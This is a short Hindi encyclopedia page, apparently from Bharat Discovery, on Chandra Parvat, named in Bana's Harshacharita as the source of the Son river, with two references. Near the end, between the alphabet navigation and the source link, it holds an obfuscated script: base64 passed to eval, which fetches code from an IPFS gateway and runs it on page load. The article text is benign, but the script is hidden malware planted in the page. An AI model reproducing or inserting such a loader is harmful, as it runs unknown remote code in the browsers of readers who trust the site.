चंद्र पर्वत  

चंद्र पर्वत को हर्षचरित के प्रथमोच्छ्वास में महाकवि बाणभट्ट ने शोण नदी (सोन नदी) का उद्गम स्थल माना है।[१]

'गोमोदश्चैव चंद्रश्च नारदो दुंदभिस्तथा, सोमक: सुमनाश्चैव वैभ्राजश्चेव सप्तम:'[२]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 316 |
  2. विष्णुपुराण 2, 4, 7.

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



"https://amp.bharatdiscovery.org/w/index.php?title=चंद्र_पर्वत&oldid=501945" से लिया गया